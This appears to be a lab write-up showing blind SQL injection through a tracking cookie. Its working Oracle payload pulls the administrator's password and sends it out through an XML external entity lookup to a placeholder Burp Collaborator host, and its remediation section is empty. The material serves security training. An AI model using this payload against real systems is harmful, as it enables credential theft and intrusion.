SCENARIO

The application is vulnerable to a blind SQL Injection because it uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain. The database contains a different table called users, with columns called username and password. We will try to force the server to cause a DNS lookup to BurpSuite’s Collaborator reflecting the credentials of the administrator’s account.

**PROCEDURE**

1. Open the application and send the request for homepage to BurpSuite’s Repeater.
2. Notice that even if we make any changes to the **Tracking ID** cookie, we can see no changes.
3. Open BurpSuite’s Collaborator Client and copy its address and using that we will craft a Payload.
4. Now append the payload after the TrackingID token value and when we click Poll Now we can see requests made to our server.
5. We will see a HTTP request in our Collaborator Client and the subdomain of that URL will be our administrator’s password.

**PAYLOAD**

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

**REMEDIATION**